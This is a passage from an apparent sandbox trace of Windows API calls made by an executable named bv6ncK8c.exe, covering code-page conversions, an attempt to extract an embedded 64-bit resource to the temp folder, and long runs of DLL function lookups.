!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0112.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ·\x92Q\x09äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0112.858] GetLastError () returned 0x0 [0112.858] SetLastError (dwErrCode=0x0) [0112.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.858] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0112.858] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0112.858] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0112.858] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ·\x92Q\x09äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0112.858] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x80) returned 0x268248 [0112.858] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0112.858] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0112.859] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x268248) returned 0x80 [0112.859] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0112.859] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0112.859] GetCurrentProcess () returned 0xffffffff [0112.859] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0112.859] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0112.859] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0112.859] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0112.859] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0112.859] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0112.859] LockResource (hResData=0x43c648) returned 0x43c648 [0112.859] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x18) returned 0x2682d0 [0112.860] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.860] GetLastError () returned 0x20 [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] GetLastError () returned 0x20 [0112.860] SetLastError (dwErrCode=0x20) [0112.860] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x1000) returned 0x269828 [0112.861] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0112.862] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267818 | out: hHeap=0x250000) returned 1 [0112.862] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0112.862] ExitProcess (uExitCode=0x1) [0112.863] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2660d0 | out: hHeap=0x250000) returned 1 Process: id = "209" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x748d3000" os_pid = "0xf2c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "199" os_parent_pid = "0xecc" cmd_line = "bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 800 os_tid = 0xf30 [0113.674] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0113.674] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0113.675] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0113.676] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0113.677] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0113.678] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0113.679] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0113.680] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0113.680] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0113.680] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0113.681] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0113.681] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0113.681] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0113.681] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0113.681] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0113.681] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0113.681] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0113.681] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0113.681] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0113.681] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0113.682] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0113.682] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74310000 [0113.682] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoW") returned 0x743119f4 [0113.682] GetProcAddress (hModule=0x74310000, lpProcName="VerQueryValueW") returned 0x74311b51 [0113.682] GetProcAddress (hModule=0x74310000, lpProcName="GetFileVersionInfoSizeW") returned 0x743119d9 [0113.682] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0113.690] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0113.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xe736d9a0, dwHighDateTime=0x1d5d06a)) [0113.690] GetCurrentThreadId () returned 0xf30 [0113.690] GetCurrentProcessId () returned 0xf2c [0113.690] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=25564271637) returned 1 [0113.691] GetProcessHeap () returned 0x570000 [0113.691] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0113.691] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0113.691] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0113.692] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 